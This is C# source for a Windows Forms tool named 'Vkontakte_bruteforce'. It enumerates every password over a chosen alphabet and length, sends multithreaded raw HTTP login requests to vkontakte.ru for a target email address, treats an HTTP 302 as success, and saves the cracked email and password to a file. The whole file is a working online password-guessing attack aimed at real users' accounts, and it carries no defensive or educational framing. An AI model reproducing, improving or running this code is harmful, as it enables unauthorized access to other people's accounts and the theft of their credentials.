using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Sockets;
using System.Threading;
using System.Net;
using System.IO;

namespace Vkontakte_bruteforce
{
    public partial class Form1 : Form
    {
        public int t = 0;
        public Thread[] threadz;
        public bool paused = false;

        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            t = int.Parse(threads.Text);
            bruteforce brute = new bruteforce(alph.Text, int.Parse(passlength.Text), email.Text, logs);
            threadz = new Thread[t];
            for (int i = 0; i < t; i++)
            {
                threadz[i] = new Thread(new ThreadStart(brute.Start));
                threadz[i].Start();
            }
            logs.Items.Add("Время начала: " + DateTime.Now);
        }

        private void pause_button_Click(object sender, EventArgs e)
        {
            paused = !paused;
            if (paused)
            {
                pause_button.Text = "Возобновить";
                pause_button.Enabled = paused;
                for (int i = 0; i < threadz.Length; i++)
                {
                    threadz[i].Suspend();
                }
            }
            else
            {
                pause_button.Enabled = paused;
                pause_button.Text = "Пауза";
                for (int i = 0; i < threadz.Length; i++)
                {
                    threadz[i].Resume();
                }
            }
        }
    }

    public class LogWriter
    {
        private string fileName = string.Empty;
        private StreamWriter sWriter;

        public void Initialize(string s)
        {
            this.fileName = s;
            FileInfo fInfo = new FileInfo(fileName);
            sWriter = fInfo.CreateText();
        }

        public void Write(string text)
        {
            sWriter.WriteLine(text);
        }

        public void closeStream()
        {
            sWriter.Close();
        }
    }


    public class bruteforce
    {
        public int length = 0;     // Длина генерируемых паролей
        public int count = 0;       // Число симолов в алфавите
        public char[] chars;        // Алфавит
        public int[] x;
        Vkontakte vk;

        public bruteforce(string chars_string, int i, string target, ListBox l)
        {
            vk = new Vkontakte(target, l);
            this.chars = getChars(chars_string);
            this.length = i;
            this.count = this.chars.Length;
            this.x = new int[length];
        }

        public string write(int[] k, char[] y, int l)
        {
            string str = "";
            for (int i = 0; i < l; i++)
            {
                str = str + y[k[i]];
            }
            return str;
        }

        bool plus(int[] k, int length, int m)
        {
            int i = length - 1;
            k[i]++;
            while ((k[i] == m) && (i >= 0))
            {
                k[i] = 0;
                if (i > 0)
                {
                    i--;
                    k[i]++;
                }
                else return false;
            }
            return true;
        }


        public void Start()
        {
            while (plus(x, length, count))
            {
                vk.Login(write(x, chars, length));
            }
        }

        public char[] getChars(string s)
        {
            char[] temp = new char[s.Length];
            for (int i = 0; i < s.Length; i++)
            {
                temp[i] = s[i];
            }
            return temp;
        }
    }

    public class Vkontakte
    {
        public ListBox lBox;
        public const string url = "vkontakte.ru";
        public string email = String.Empty;
        public const string Ok = "HTTP/1.1 302";
        public const string Wrong = "HTTP/1.1 200";

        public Vkontakte(string email, ListBox l)
        {
            this.email = email;
            lBox = l;
        }

        public bool Login(string pass)
        {
            IPHostEntry hostEntry = Dns.GetHostEntry(url);
            IPAddress address = hostEntry.AddressList[0];
            IPEndPoint ipe = new IPEndPoint(address, 80);
            Socket socket = new Socket(ipe.AddressFamily, SocketType.Stream, ProtocolType.Tcp);

            try
            {
                socket.Connect(ipe);
                if (socket.Connected)
                {
                    lBox.Items.Add("Connected to " + ipe.ToString());
                }
                else
                {
                    lBox.Items.Add("Can not connect...");
                }
            }
            catch (Exception ex)
            {
                lBox.Items.Add(ex.Message);
            }

            string parameters = "success_url=&fail_url=&try_to_login=1&email=" + this.email + "&pass=" + pass;
            byte[] par = Encoding.ASCII.GetBytes(parameters);
            string request = "POST /login.php HTTP/1.0\r\n" +
                "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*\r\n" +
                "Accept-Language: en-us\r\n" +
                "Accept-Encoding: gzip, deflate\r\n" +
                "User-Agent: Mozilla/4.0\r\n" +
                "Content-Length: " + par.Length + "\r\n" +
                "Host: " + url + "\r\n" +
                "Content-Type: application/x-www-form-urlencoded\r\n\r\n" +
                parameters;
            Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
            Byte[] bytesReceived = new Byte[12];
            socket.Send(bytesSent, bytesSent.Length, 0);
            int bytes = 0;
            bytes = socket.Receive(bytesReceived, bytesReceived.Length, 0);
            string page = Encoding.ASCII.GetString(bytesReceived, 0, bytes);
            if (String.Compare(page, Ok) == 0)
            {
                lBox.Items.Add("Password is Ok! [" + pass + "]");
                socket.Close();
                LogWriter lWriter = new LogWriter();
                lWriter.Initialize("good.txt");
                lWriter.Write(email + "; " + pass);
                lWriter.closeStream();
                MessageBox.Show("Done. Password found: " + pass);
                return true;
            }
            else
            {
                lBox.Items.Add("Wrong password! [" + pass + "]");
                socket.Close();
                return false;
            }
        }
    }
}
